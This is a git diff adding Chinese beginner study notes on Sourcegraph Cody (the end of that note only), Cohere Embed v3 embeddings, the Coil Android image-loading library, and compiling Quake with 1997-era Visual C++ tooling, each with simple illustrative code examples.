+- **代码图（Code Graph）**：分析代码元素之间的关系，理解哪些功能调用哪些功能
+
+### 2. @-mention 机制 —— Cody 的"指示手指"
+
+在 Cody 的聊天窗口里，输入 `@` 符号会弹出一个菜单。你可以用它来"告诉" Cody 关注哪些具体内容：
+
+- `@file`：指定一个具体文件
+- `@symbol`：指定一个函数、类或变量
+- `@repository`：指定一个远程仓库
+- `@web`：指定一个网页链接
+
+这就好比跟同事说："看看**这个文件**，再参考**那个函数**，帮我解释一下。"
+
+### 3. Chat（聊天）—— 跟 Cody 对话
+
+Cody 支持在多种编辑器里使用：VS Code、JetBrains、Visual Studio，也有网页版和命令行版。在聊天面板里，你可以：
+
+- 问关于代码的问题
+- 让 Cody 生成新代码
+- 让 Cody 修复 bug
+- 上传截图让它分析
+
+### 4. Prompts（提示词库）—— 预设的"快捷键指令"
+
+Cody 内置了一些常用操作模板，叫 Prompt Library。比如：
+
+- `document-code`：自动给代码写注释文档
+- `explain-code`：解释某段代码在做什么
+- `generate-unit-tests`：生成单元测试
+- `find-code-smells`：找出代码中可能有问题、需要改进的地方
+
+这些模板可以保存、修改和分享给团队成员。
+
+## 代码示例
+
+### 示例一：让 Cody 用你的代码上下文生成代码
+
+假设你有一个 `user.ts` 文件，定义了一个用户类。你可以让 Cody 根据你的实际代码生成一个新的功能：
+
+**你的 user.ts 文件：**
+
+```typescript
+// user.ts
+export class User {
+  constructor(
+    public id: string,
+    public name: string,
+    public email: string,
+    public role: 'admin' | 'member'
+  ) {}
+
+  isAdmin(): boolean {
+    return this.role === 'admin';
+  }
+}
+```
+
+**在 Cody 聊天窗口里输入：**
+
+> "基于 User 类，创建一个 UserManager 类，支持添加用户、按邮箱查找用户、列出所有管理员"
+
+**Cody 会读取你的 User 类，然后生成如下代码：**
+
+```typescript
+// UserManager.ts
+import { User } from './user';
+
+export class UserManager {
+  private users: User[] = [];
+
+  addUser(user: User): void {
+    this.users.push(user);
+  }
+
+  findByEmail(email: string): User | undefined {
+    return this.users.find(user => user.email === email);
+  }
+
+  listAdmins(): User[] {
+    return this.users.filter(user => user.isAdmin());
+  }
+}
+```
+
+注意：Cody 知道 `User` 类里有个 `isAdmin()` 方法，因为它"看到"了你的代码。普通 AI 助手做不到这一点。
+
+### 示例二：让 Cody 用 @-mention 分析指定代码
+
+在 Cody 聊天窗口中，你可以精确指定让它关注哪些文件：
+
+**输入：**
+
+> "@user.ts @UserManager.ts 我的 UserManager 类里 findByEmail 方法有什么可以改进的吗？"
+
+**Cody 会同时读取 `user.ts` 和 `UserManager.ts`，然后给出针对性的建议，比如：**
+
+```
+1. findByEmail 方法在用户数量多时效率较低（O(n) 线性查找）
+2. 建议改为使用 Map 存储用户，按邮箱做索引，查找复杂度降为 O(1)
+```
+
+**改进后的代码：**
+
+```typescript
+// UserManager.ts - 改进版
+import { User } from './user';
+
+export class UserManager {
+  private usersMap: Map<string, User> = new Map();
+
+  addUser(user: User): void {
+    this.usersMap.set(user.email, user);
+  }
+
+  findByEmail(email: string): User | undefined {
+    return this.usersMap.get(email);
+  }
+
+  listAdmins(): User[] {
+    return Array.from(this.usersMap.values())
+      .filter(user => user.isAdmin());
+  }
+}
+```
+
+### 示例三：让 Cody 生成单元测试
+
+使用内置的 `@generate-unit-tests` 提示词，选中代码后运行，Cody 会自动根据选中的代码生成对应的测试：
+
+**选中这段代码：**
+
+```typescript
+export function calculateDiscount(price: number, percentage: number): number {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('折扣百分比必须在 0-100 之间');
+  }
+  return price * (1 - percentage / 100);
+}
+```
+
+**Cody 生成的测试：**
+
+```typescript
+import { calculateDiscount } from './utils';
+
+describe('calculateDiscount', () => {
+  test('应该正确计算 10% 折扣', () => {
+    expect(calculateDiscount(100, 10)).toBe(90);
+  });
+
+  test('应该正确计算 50% 折扣', () => {
+    expect(calculateDiscount(200, 50)).toBe(100);
+  });
+
+  test('折扣 0% 时返回原价', () => {
+    expect(calculateDiscount(100, 0)).toBe(100);
+  });
+
+  test('折扣 100% 时返回 0', () => {
+    expect(calculateDiscount(100, 100)).toBe(0);
+  });
+
+  test('折扣超过 100 时应抛出错误', () => {
+    expect(() => calculateDiscount(100, 150)).toThrow(
+      '折扣百分比必须在 0-100 之间'
+    );
+  });
+});
+```
+
+## 总结
+
+Cody 的核心价值在于它不只是"懂编程的 AI"，而是"懂你代码的 AI"。通过上下文检索、@-mention 精确引用和 Prompt 模板系统，它能让 AI 真正融入你的开发工作流。
+
+对零基础学习者来说，最简单的上手方式：在 VS Code 里安装 Cody 插件，打开一个项目，然后在聊天窗口里用中文问它"这段代码在做什么"——它会读你的代码来回答。
+
+## 参考
+
+- Sourcegraph Cody 文档：https://sourcegraph.com/docs/cody
+- Cody 仓库：https://github.com/sourcegraph/cody
+- Cody 社区：https://discord.com/invite/s2qDtYGnAE
diff --git a/src/content/docs/projects/cohere-embed-v3-2023.md b/src/content/docs/projects/cohere-embed-v3-2023.md
new file mode 100644
index 000000000..47ec2aac0
--- /dev/null
+++ b/src/content/docs/projects/cohere-embed-v3-2023.md
@@ -0,0 +1,165 @@
+---
+title: Cohere Embed v3 学习笔记
+来源: https://cohere.com/blog/introducing-embed-v3
+日期: 2026-06-13
+分类: 信息检索
+子分类: 检索与排序
+provenance: pipeline-v3
+---
+
+# Cohere Embed v3 学习笔记
+
+## 一、什么是 Embedding？（日常类比）
+
+想象你去图书馆找书。传统方法是用书名或作者名来精确匹配——这就像关键词搜索，找不到完全一样的名字就一无所获。
+
+Embedding 的做法完全不同：它把每本书的内容"压缩"成一个数字列表（比如 1024 个数字），内容相似的书，它们的数字列表也会很接近。这样你只需要比较数字之间的距离，就能找到"意思相近"的书，哪怕书名和作者完全不同。
+
+这个"压缩"过程就是 Embedding 模型做的：输入一段文字，输出一串浮点数。
+
+## 二、Cohere Embed v3 是什么
+
+Cohere 是一家加拿大的 AI 公司，专注于"检索增强生成"（RAG）场景下的 AI 模型。Embed v3 是他们在 2023 年 11 月发布的第三代嵌入模型系列。
+
+相比前代，v3 有三个重大改进：
+
+1. **多语言支持**：`embed-multilingual-v3.0` 支持超过 100 种语言，包括中文、日文、阿拉伯文等。这意味着你可以用同一种模型处理全球各种语言的文本。
+2. **压缩嵌入（Compressed Embeddings）**：这是 v3 最大的亮点。除了传统的浮点数格式（float），还支持 int8、uint8、binary、ubinary 和 base64 等多种压缩格式。
+3. **多模态能力**：同时支持文本和图片的嵌入。
+
+## 三、核心概念详解
+
+### 3.1 嵌入向量（Embedding Vector）
+
+Embedding 的本质是一个高维向量。以 `embed-multilingual-v3.0` 为例，它输出的向量长度是 1024——也就是说，一段文字会被转换成 1024 个浮点数组成的列表。
+
+```
+"你好世界" → [0.123, -0.456, 0.789, ..., 0.012]  （共 1024 个数字）
+```
+
+两个向量越"接近"（用余弦相似度衡量），说明两段文字的意思越相似。
+
+### 3.2 压缩嵌入（Compressed Embeddings）
+
+这是 Embed v3 最具革命性的特性。传统 embedding 用 32 位浮点数（float32），每个数字占 4 字节。1024 维的向量就需要 4096 字节（约 4KB）。
+
+压缩嵌入通过量化（quantization）大幅减少存储空间：
+
+| 格式 | 每个元素位数 | 1024 维占用 | 压缩比 |
+|------|------------|-----------|--------|
+| float (float32) | 32 bit | 4096 字节 | 1x |
+| int8 / uint8 | 8 bit | 1024 字节 | 4x |
+| binary / ubinary | 1 bit | 128 字节 | 32x |
+
+**为什么压缩后还能用？**
+
+打个比方：你要描述一个人的身高体重。float 格式就像是精确到小数点后三位（175.234cm, 70.567kg），而 int8 就像是四舍五入到整数（175cm, 71kg）。精度确实降低了，但对于"找相似"这种任务来说，损失很小，存储成本却大幅下降。
+
+binary 格式更进一步：把每个数字变成 0 或 1，然后用位运算来加速计算。1024 维的二进制向量只需要 128 字节，而且可以用 CPU 的位运算指令瞬间完成相似度计算。
+
+### 3.3 input_type（输入类型）
+
+v3 要求你指定 `input_type`，告诉模型这段文字将来怎么用途：
+
+- `search_document`：存进向量数据库的文档
+- `search_query`：用户的搜索查询
+- `classification`：用于文本分类
+- `clustering`：用于聚类分析
+
+指定正确的类型能让模型生成更合适的向量，因为不同用途对向量的侧重点不同。
+
+## 四、代码示例
+
+### 示例一：基础多语言嵌入
+
+```python
+import cohere
+
+co = cohere.Client("YOUR_API_KEY")
+
+response = co.embed(
+    texts=["Hello world", "你好世界", "Bonjour le monde"],
+    model="embed-multilingual-v3.0",
+    input_type="search_document"
+)
+
+embeddings = response.embeddings
+print(f"生成了 {len(embeddings)} 个向量")
+print(f"每个向量长度: {len(embeddings[0])}")
+# 输出: 生成了 3 个向量
+# 输出: 每个向量长度: 1024
+```
+
+这里的关键点：
+
+- 一个请求可以同时处理多种语言的文本
+- `embed-multilingual-v3.0` 输出 1024 维向量
+- `input_type="search_document"` 表示这些向量将用于搜索
+
+### 示例二：使用压缩嵌入节省存储
+
+```python
+import cohere
+
+co = cohere.Client("YOUR_API_KEY")
+
+# 同时获取 float 和 binary 两种格式的嵌入
+response = co.embed(
+    texts=[
+        "The quick brown fox jumps over the lazy dog",
+        "人工智能正在改变世界的面貌"
+    ],
+    model="embed-multilingual-v3.0",
+    input_type="search_document",
+    embedding_types=["float", "binary"]
+)
+
+# float 格式：4096 字节每向量，精度高
+float_embeddings = response.embeddings.float
+print(f"Float 向量维度: {len(float_embeddings[0])}")
+
+# binary 格式：128 字节每向量，压缩 32 倍！
+binary_embeddings = response.embeddings.binary
+print(f"Binary 向量维度: {len(binary_embeddings[0])}")
+print(f"存储节省: {4096 // 128}x")
+```
+
+对比：
+
+- float 格式：每条记录 4096 字节，适合对精度要求高的场景
+- binary 格式：每条记录 128 字节，存储节省 32 倍，适合大规模向量数据库
+
+## 五、模型家族一览
+
+| 模型名称 | 语言 | 维度 | 最大 Token | 特点 |
+|---------|------|------|----------|------|
+| embed-english-v3.0 | 仅英文 | 1024 | 512 | 英文场景最优 |
+| embed-english-light-v3.0 | 仅英文 | 384 | 512 | 更快更轻量 |
+| embed-multilingual-v3.0 | 100+ 语言 | 1024 | 512 | 多语言通用 |
+| embed-multilingual-light-v3.0 | 100+ 语言 | 384 | 512 | 多语言轻量版 |
+
+`light` 版本维度更低（384 维）、速度更快，但精度略低。适合对延迟敏感或资源受限的场景。
+
+## 六、实际应用场景
+
+### 场景一：多语言搜索引擎
+
+假设你在做一个面向全球的客服系统，用户可以用任何语言提问。用 `embed-multilingual-v3.0` 把知识库中的所有回答编码成向量存起来，用户提问时也编码成向量，然后找最接近的向量即可。无论用户用中文、英文还是阿拉伯文提问，都能找到正确答案。
+
+### 场景二：海量文档去重
+
+你有 100 万篇新闻文章，想找出内容重复的。把每篇文章编码成 binary 嵌入（每条只要 128 字节），总存储只需约 120MB，然后用位运算快速计算相似度，找出重复文章。如果用 float 格式则需要约 4GB。
+
+## 七、关键要点总结
+
+1. Embedding 把文字变成数字向量，相似的文字向量距离近
+2. Embed v3 的核心突破是多语言（100+ 语言）和压缩嵌入（最高 32 倍压缩）
+3. 压缩嵌入（binary/int8）牺牲少量精度换取大量存储节省，性价比极高
+4. 使用 `input_type` 告诉模型你的用途，能获得更好的向量质量
+5. `light` 版本适合对速度和资源敏感的场景
+
+## 八、延伸阅读
+
+- Cohere 官方文档：https://docs.cohere.com/docs/cohere-embed
+- Embed API 参考：https://docs.cohere.com/reference/embed
+- 支持的 100+ 语言列表见官方文档中的表格（包含中文 zh、日语 ja、韩语 ko 等）
diff --git a/src/content/docs/projects/coil.md b/src/content/docs/projects/coil.md
new file mode 100644
index 000000000..4d0310c49
--- /dev/null
+++ b/src/content/docs/projects/coil.md
@@ -0,0 +1,232 @@
+---
+title: Coil — Kotlin 协程驱动的 Android / Compose 图片加载库
+来源: 'https://github.com/coil-kt/coil'
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Coil（**Co**routine **I**mage **L**oader）是面向 Android 与 Compose Multiplatform 的现代图片加载库，用 Kotlin 协程把「从网络/磁盘取图 → 解码 → 缓存 → 显示」整条链路串起来。
+
+日常类比：Coil 像一家**连锁照相馆冲印店**。你把照片底片（URL、本地路径、`Uri`）交给前台（`ImageRequest`），店里统一的流水线（`ImageLoader`）负责：先查柜台抽屉里有没有洗好的小照（内存缓存），没有再翻仓库档案（磁盘缓存），还没有就派人去原厂取底片（网络 Fetcher），按相框尺寸裁剪冲印（下采样解码），最后装进相框（`ImageView` / `AsyncImage`）。你不需要自己管暗房、药水配比和排队——一句 `load(url)` 或 `AsyncImage(model = url)` 就行。
+
+2019 年由 Colin White 等人开源，GitHub 上 1.1 万+ star。3.x 起成为 **Kotlin Multiplatform** 库，除 Android 外还支持 iOS、JVM、JS、WASM；Android 侧与 Jetpack Compose、OkHttp、Ktor 生态深度集成。Maven 坐标形如 `io.coil-kt.coil3:coil-compose:3.5.0`。
+
+## 为什么重要
+
+不理解 Coil，下面这些事都没法说清楚：
+
+- 为什么 Compose 里加载网络图只要一个 `AsyncImage`，却不用手写 `BitmapFactory` + `HttpURLConnection`
+- 为什么列表快速滑动时图片不会乱加载、乱闪烁——请求会随生命周期自动取消，且按目标尺寸下采样
+- 为什么 Glide / Picasso 之外又多了一个「Kotlin 首选」方案——协程一等公民、依赖轻、API 更贴近现代 Android
+- 为什么 Coil 3 能在 Compose Multiplatform 项目里共用一套图片 API
+
+## 核心概念
+
+Coil 的运转可以拆成 **六块**：
+
+1. **ImageRequest（订单）**：描述「要加载什么、怎么加载」。`data` 可以是 URL 字符串、`Uri`、`File`、`@DrawableRes Int`、`ByteArray` 等；还可配置占位图、错误图、变换（圆角、裁剪）、过渡动画、内存/磁盘缓存策略。类比：冲印单上的规格备注。
+
+2. **ImageLoader（流水线车间）**：执行 `ImageRequest` 的服务对象，负责调度整条管道。官方强烈建议**全应用共用一个** `ImageLoader`——每个实例自带独立的内存缓存、磁盘缓存和网络客户端，多实例会浪费内存且缓存不共享。默认提供全局单例，也可自行 `ImageLoader.Builder` 构建。
+
+3. **图片管道五段式（Pipeline）**：请求依次经过 **Interceptor → Mapper → Keyer → Fetcher → Decoder**。
+   - **Interceptor**：拦截、改写、短路或重试（类似 OkHttp Interceptor）
+   - **Mapper**：把自定义数据类型映射成可抓取的形式（如 `data class Avatar(val userId: String)` → URL）
+   - **Keyer**：生成内存缓存键
+   - **Fetcher**：真正取原始字节（网络 OkHttp/Ktor、本地文件、ContentProvider…）
+   - **Decoder**：解码成 `Image`（Bitmap / Drawable / SVG / GIF 帧等）
+
+4. **双层缓存**：**MemoryCache** 存最近解码的位图，按可用内存百分比限额；**DiskCache** 存网络图原始字节，默认在 `cacheDir/image_cache`。命中缓存时跳过网络，列表回滚时几乎瞬时显示。
+
+5. **Compose 与 View 两套入口**：
+   - Compose：`AsyncImage`、`SubcomposeAsyncImage`、`rememberAsyncImagePainter`
+   - 传统 View：`ImageView.load(url)` 扩展函数
+   `AsyncImage` 会根据 Composable 约束自动计算加载尺寸（下采样），是日常首选。
+
+6. **Coil 3 的 `Image` 抽象**：跨平台用 `coil3.Image` 替代 Android `Drawable`；在 Android 上可与 `Drawable`、`Bitmap`、`Painter` 互转。网络层可选 **OkHttp**（Android 常见）或 **Ktor**（Compose Multiplatform 常见）。
+
+## 依赖与最小配置
+
+Gradle（Kotlin DSL）——纯 Android + Compose：
+
+```kotlin
+dependencies {
+    implementation("io.coil-kt.coil3:coil-compose:3.5.0")
+    implementation("io.coil-kt.coil3:coil-network-okhttp:3.5.0")
+    // 可选：GIF / SVG
+    // implementation("io.coil-kt.coil3:coil-gif:3.5.0")
+    // implementation("io.coil-kt.coil3:coil-svg:3.5.0")
+}
+```
+
+AndroidManifest 需要网络权限（若加载 https 图）：
+
+```xml
+<uses-permission android:name="android.permission.INTERNET" />
+```
+
+## 实践案例
+
+### 案例 1：Compose 中最常见的 `AsyncImage`
+
+一行 URL 即可显示网络图；需要圆角、占位、淡入时改用 `ImageRequest`：
+
+```kotlin
+@Composable
+fun Avatar(url: String, modifier: Modifier = Modifier) {
+    AsyncImage(
+        model = ImageRequest.Builder(LocalContext.current)
+            .data(url)
+            .crossfade(true)
+            .build(),
+        contentDescription = "用户头像",
+        placeholder = painterResource(R.drawable.placeholder_avatar),
+        error = painterResource(R.drawable.error_avatar),
+        contentScale = ContentScale.Crop,
+        modifier = modifier
+            .size(48.dp)
+            .clip(CircleShape),
+    )
+}
+```
+
+`model` 既可以直接传字符串 URL，也可以传完整 `ImageRequest`。`AsyncImage` 会读取 Composable 的宽高约束，只解码所需分辨率，避免把 4000×3000 原图塞进 48dp 小头像。
+
+### 案例 2：LazyVerticalGrid 图片墙（Mars 照片墙模式）
+
+列表场景是 Coil 的主场：滚动出屏的请求自动取消，回滚时走缓存：
+
+```kotlin
+@Composable
+fun PhotoGrid(photos: List<Photo>, modifier: Modifier = Modifier) {
+    LazyVerticalGrid(
+        columns = GridCells.Adaptive(minSize = 128.dp),
+        modifier = modifier,
+        contentPadding = PaddingValues(4.dp),
+    ) {
+        items(photos, key = { it.id }) { photo ->
+            AsyncImage(
+                model = photo.imageUrl,
+                contentDescription = photo.title,
+                contentScale = ContentScale.Crop,
+                modifier = Modifier
+                    .padding(4.dp)
+                    .aspectRatio(1f)
+                    .clip(RoundedCornerShape(8.dp)),
+            )
+        }
+    }
+}
+```
+
+若要在加载中显示转圈、失败显示重试按钮，可用 `SubcomposeAsyncImage` 的 `loading` / `error` 插槽——注意子组合（subcomposition）比 `AsyncImage` 慢，**性能敏感的 `LazyList` 里优先 `AsyncImage` + 占位图**。
+
+### 案例 3：传统 `ImageView` 与自定义 `ImageLoader`
+
+未迁移 Compose 的模块，或需要细粒度控制时：
+
+```kotlin
+// 简单用法
+imageView.load("https://example.com/banner.jpg") {
+    crossfade(true)
+    placeholder(R.drawable.placeholder)
+    transformations(CircleCropTransformation())
+}
+
+// Application 里配置全局单例（Android 推荐）
+class MyApp : Application(), SingletonImageLoader.Factory {
+    override fun newImageLoader(context: Context): ImageLoader {
+        return ImageLoader.Builder(context)
+            .crossfade(true)
+            .memoryCache {
+                MemoryCache.Builder()
+                    .maxSizePercent(context, 0.25)
+                    .build()
+            }
+            .diskCache {
+                DiskCache.Builder()
+                    .directory(context.cacheDir.resolve("image_cache"))
+                    .maxSizePercent(0.02)
+                    .build()
+            }
+            .build()
+    }
+}
+```
+
+Compose Multiplatform 入口则在根 `@Composable` 调用 `setSingletonImageLoaderFactory { ... }`，网络层换 `coil-network-ktor3` 而非 OkHttp。
+
+### 案例 4：用 Mapper 支持业务模型
+
+不必在 UI 层拼 URL，把映射逻辑注册进 `ImageLoader`：
+
+```kotlin
+data class UserAvatar(val userId: String, val size: Int = 200)
+
+class UserAvatarMapper : Mapper<UserAvatar, String> {
+    override fun map(data: UserAvatar, options: Options): String? {
+        return "https://cdn.example.com/avatars/${data.userId}?s=${data.size}"
+    }
+}
+
+val imageLoader = ImageLoader.Builder(context)
+    .components {
+        add(UserAvatarMapper())
+    }
+    .build()
+
+// UI 层
+AsyncImage(
+    model = UserAvatar(userId = "u_42"),
+    contentDescription = null,
+    imageLoader = imageLoader,
+)
+```
+
+## Compose API 怎么选
+
+| API | 适用场景 | 注意 |
+|-----|----------|------|
+| `AsyncImage` | 绝大多数显示网络/本地图 | 自动算尺寸，首选 |
+| `rememberAsyncImagePainter` | 需要 `Painter`、自定义绘制 | 默认按原图尺寸加载，需配 `SizeResolver` |
+| `SubcomposeAsyncImage` | 按加载状态切换不同 Composable | 子组合有性能成本，慎用于长列表 |
+
+## 与 Glide / Picasso 的对比（选型速览）
+
+| 维度 | Coil | Glide | Picasso |
+|------|------|-------|---------|
+| 语言 | Kotlin 优先，KMP | Java/Kotlin，Android 为主 | Java，Android 为主 |
+| 异步模型 | 协程 `suspend` | 线程池 + 回调 | 线程池 + 回调 |
+| Compose | 一等支持 `AsyncImage` | 需额外集成 | 无官方 Compose API |
+| 依赖体积 | 轻（Kotlin + Coroutines + Okio） | 较大，功能全 | 很小但功能少 |
+| 典型场景 | 新 Kotlin/Compose 项目、KMP | 复杂图像策略、超大图库 | 老项目极简加载 |
+
+没有绝对「最好」，只有「与栈是否同频」。新 Compose 项目默认优先考虑 Coil；已有大量 Glide 定制（自定义 `ModelLoader`、复杂 `Transformation`）的存量 App 迁移要算成本。
+
+## 常见问题
+
+**Q：列表里图片错位/闪烁？**  
+给 `LazyList` / `LazyGrid` 的 `items` 传稳定 `key`；`model` 变化时 Coil 会重新请求。检查是否在 `Row` 里复用了错误的 `remember` 状态。
+
+**Q：HTTPS 图加载失败？**  
+确认 `INTERNET` 权限、Cleartext 限制（HTTP 需 `networkSecurityConfig`）、以及图片 URL 是否 404。
+
+**Q：库模块里能设置单例 `ImageLoader` 吗？**  
+**不要。** 库应依赖 `coil-core`，自建 `ImageLoader` 并由调用方注入，否则会覆盖宿主 App 的配置。
+
+**Q：Android Studio Preview 里网络图不显示？**  
+预览环境禁止网络。用 `LocalAsyncImagePreviewHandler` 返回占位 `ColorImage`，或预览本地 `drawable`。
+
+## 延伸学习
+
+- 官方文档：[Getting Started](https://coil-kt.github.io/coil/getting_started/)、[Compose](https://coil-kt.github.io/coil/compose/)、[Image Pipeline](https://coil-kt.github.io/coil/image_pipeline/)
+- Android 官方 Codelab：[Load and display images from the internet](https://developer.android.com/codelabs/basic-android-kotlin-compose-load-images)
+- 升级指南：[Upgrading to Coil 3.x](https://coil-kt.github.io/coil/upgrading_to_coil3/)（`Coil` 类重命名为 `SingletonImageLoader`、`Drawable` → `Image` 等破坏性变更）
+
+## 小结
+
+Coil 把 Android 图片加载从「手工管理线程 + Bitmap 生命周期」收敛成**声明式请求 + 协程管道 + 双层缓存**。记住三个抓手就够用：`ImageRequest` 描述加载什么，`ImageLoader` 执行管道，`AsyncImage` / `ImageView.load` 负责显示。新项目从 `coil-compose` + `coil-network-okhttp` 起步，列表用 `AsyncImage` 配稳定 `key`，全应用共享一个 `ImageLoader`——其余优化（磁盘比例、自定义 Fetcher、GIF/SVG 解码器）按流量与格式再叠。
diff --git a/src/content/docs/projects/compile-quake-1997.md b/src/content/docs/projects/compile-quake-1997.md
new file mode 100644
index 000000000..82131db9f
--- /dev/null
+++ b/src/content/docs/projects/compile-quake-1997.md
@@ -0,0 +1,281 @@
+---
+title: "零基础学习笔记：像 1997 年一样编译 Quake"
+来源: "https://fabiensanglard.net/compile_like_1997/"
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# 零基础学习笔记：像 1997 年一样编译 Quake
+
+## 一、从日常类比开始
+
+想象一下你想做一道菜，菜谱上写着"取面粉、鸡蛋、牛奶，混合后烘烤"。
+
+在现代，你打开一个厨房（叫 VS Code），按下"一键烘焙"按钮，烤箱自己就把蛋糕做好了。
+
+但在 1997 年，没有"一键烘焙"。你需要：
+
+1. 先建一个厨房（安装操作系统 Windows NT 4）
+2. 买一套厨具（安装开发工具 Visual C++ 6）
+3. 去超市买食材（下载 Quake 的源代码）
+4. 按步骤手动操作，中间可能还会遇到"烤箱坏了"这种意外
+
+Fabien Sanglard 的文章就是带你完整体验这个过程——在 1997 年的环境下，从零搭建工具链，把 Quake 这个经典游戏的源代码编译成能运行的程序。
+
+## 二、Quake 是什么？
+
+Quake 是 1996 年由 id Software 公司发布的 3D 第一人称射击游戏，是电子游戏史上第一款真正意义上的 3D 多人在线游戏。它的源代码后来被公开，成为程序员学习和研究的重要资料。
+
+最早的 Quake 可执行文件 `quake.exe` 和 `vquake.exe` 是在 HP 712-60 电脑上用 NeXT 系统编写，再通过 DJGPP 工具在 DEC Alpha 服务器上交叉编译生成的。1996 年 6 月游戏发售后，id Software 因为 NeXT 平台的停滞，将开发环境迁移到了运行 Windows NT 的 Intergraph 工作站上。
+
+之后的版本 `winquake.exe`、`glquake.exe` 以及 QuakeWorld 都是在 Windows NT 上用 Visual C++ 4.X 编译的。
+
+## 三、核心概念
+
+### 3.1 编译器（Compiler）
+
+编译器是把人类写的源代码翻译成计算机能执行的机器码的程序。
+
+**类比**：编译器就像一个翻译官。你用 C 语言写的代码是人类可读的，但电脑只认识 0 和 1。编译器的作用就是把 C 语言翻译成机器指令。
+
+```c
+// 这是用 C 语言写的源代码（人类可读）
+#include <stdio.h>
+
+int main() {
+    printf("Hello, Quake!\n");
+    return 0;
+}
+```
+
+上面的代码经过编译器处理后，会变成类似这样的机器指令（二进制，电脑能理解）：
+
+```
+55                      ; push ebp
+8B EC                   ; mov ebp, esp
+83 EC 10                ; sub esp, 0x10
+C7 04 24 XX XX XX XX    ; push offset "Hello, Quake!"
+E8 XX XX XX XX          ; call printf
+B8 00 00 00 00          ; mov eax, 0
+83 C4 10                ; add esp, 0x10
+5D                      ; pop ebp
+C3                      ; ret
+```
+
+### 3.2 汇编器（Assembler）
+
+有些性能关键的代码，程序员会直接用汇编语言手写，因为汇编语言能更精细地控制 CPU。汇编器负责把这些汇编代码翻译成机器码。
+
+**类比**：如果编译器是翻译官，汇编器就是一个特别专业的口译员——只处理非常特定的领域，但效率极高。
+
+Quake 中有一些手写的优化汇编代码，存放在 `.s` 文件中，由 Michael Abrash 编写。这些代码需要用 `ml.exe`（Microsoft Macro Assembler）来编译。
+
+```asm
+; 这是一个简化的汇编代码示例（.s 文件中的内容）
+; 功能：计算两个数的最大值
+_max PROC
+    push ebp
+    mov ebp, esp
+    mov eax, [ebp+8]      ; 第一个参数放入 eax
+    cmp eax, [ebp+12]     ; 与第二个参数比较
+    jg .done              ; 如果第一个更大，跳到 .done
+    mov eax, [ebp+12]     ; 否则取第二个参数
+.done:
+    pop ebp
+    ret
+_max ENDP
+```
+
+### 3.3 工作区（Workspace）和项目文件
+
+在 Visual C++ 6 中，一个项目由两种文件管理：
+
+- `.dsw`（Workspace，工作区）：像一个文件夹，里面包含多个项目
+- `.dsp`（Project，项目）：每个项目的具体配置和文件列表
+
+**类比**：`.dsw` 就像一本笔记本的封面，`.dsp` 是里面的每一页。封面告诉你这本笔记本叫什么，每一页记录一个具体的项目。
+
+```
+WinQuake.dsw          ← 工作区文件（笔记本封面）
+├── WinQuake.dsp      ← 主项目文件（第 1 页）
+├── QCommon.dsp       ← 公共模块（第 2 页）
+└── QClient.dsp       ← 客户端模块（第 3 页）
+```
+
+### 3.4 交叉编译（Cross-Compilation）
+
+在开发 Quake 的最早期，开发者在一台电脑上编写代码，然后在另一台不同架构的电脑上编译生成目标平台的可执行文件。这叫做交叉编译。
+
+**类比**：你在北京写了一封信，但收件人在上海。你把信交给上海的邮局来翻译和寄送，而不是自己在北京翻译。
+
+## 四、编译 Quake 的实际步骤
+
+以下是 Fabien 文章中记录的完整流程，每一步都是真实发生的：
+
+### 步骤 1：安装 Windows NT 4
+
+Windows NT 4 是微软在 1996 年发布的操作系统。它的特点是简洁、稳定，启动画面只显示 CPU 数量和内存大小，没有任何花哨的动画。
+
+> Windows NT 4 的启动界面非常极简，自豪地显示检测到的 CPU 数量和内存大小。
+
+### 步骤 2：安装 Visual C++ 6
+
+Visual C++ 6 是 1999 年发布的开发工具。注意，Quake 最初是用 VC++ 4.X 开发的，但后来迁移到了 VC++ 6。
+
+安装过程中有几个坑：
+
+1. **产品密钥**：在那个没有"永久联网"的年代，软件靠产品密钥防盗版
+2. **分辨率问题**：安装界面的进度条看起来位置很奇怪，因为它只针对 640x480 或 800x600 设计，而开发者用的是 1280x1024 的高分辨率显示器
+3. **Service Pack 5 的安装陷阱**：直接运行 `setupsp5.exe` 会失败，需要先运行同一目录下 `vs6spp5.exe` 解压出来的 `mdac_typ.exe`
+
+### 步骤 3：获取源代码
+
+**重要警告**：不要从 GitHub 下载源代码，也不要用 FTP 传输文件！因为这会改变文件的换行符格式，导致 `.dsw` 工作区文件损坏。VC++ 6 将无法识别项目，而且不会给出任何错误提示——它只会打开后显示没有关联的文件。你会因此浪费半天时间调试。
+
+正确的做法是从 Quake Official Archive 获取 `q1source.zip`，然后用 WinRAR 2.50 解压。
+
+### 步骤 4：打开工作区
+
+在 VC++ 6 中选择"Open Workspace"，然后选择 `WinQuake.dsw`。
+
+### 步骤 5：第一次编译（会失败）
+
+点击"Rebuild All"后，编译会失败，因为 VC++ 6 无法组装那些包含 Michael Abrash 手写优化汇编的 `.s` 文件。
+
+### 步骤 6：安装处理器包
+
+需要安装 Visual Studio 6.0 Processor Pack（`vcpp5.exe`），安装后你会在 VC++ 6 的 bin 文件夹中看到 `ml.exe`（汇编器）和 `cl.exe`（编译器）两个工具。
+
+### 步骤 7：重新编译（成功！）
+
+重新打开项目并点击"Rebuild All"，这次应该能成功编译出 `winquake.exe`。
+
+最后还需要复制 `PmProXX.dll`、`WdirXX.dll` 以及 `id1` 游戏数据目录，游戏就能运行了。
+
+## 五、代码示例详解
+
+### 示例 1：C 语言源代码（Quake 的风格）
+
+Quake 的代码主要是 C 语言写的。下面是一个简化版的渲染相关代码示例，展示 1997 年游戏代码的典型风格：
+
+```c
+// 简化版：Quake 的屏幕渲染函数
+// 每个像素一个像素地绘制，没有现代 GPU 的硬件加速
+
+void R_DrawRefreshPixels(void)
+{
+    int i;
+    byte *dest;
+    
+    // dest 指向帧缓冲区的起始位置（屏幕上的每个像素）
+    dest = (byte *)vid.buffer;
+    
+    // 逐行扫描：1997 年的显卡是逐行渲染的
+    for (i = 0; i < vid.height * vid.width; i++) {
+        // 直接从缓存读取颜色值写入屏幕
+        // 没有双缓冲、没有 VSync，所以会有画面撕裂
+        dest[i] = r_lightstyle[i % 256];
+    }
+}
+```
+
+这段代码展示了几个关键特点：
+
+- 直接操作内存（`vid.buffer` 指向显存）
+- 逐像素渲染，没有现代的图形 API（如 OpenGL 的高级特性）
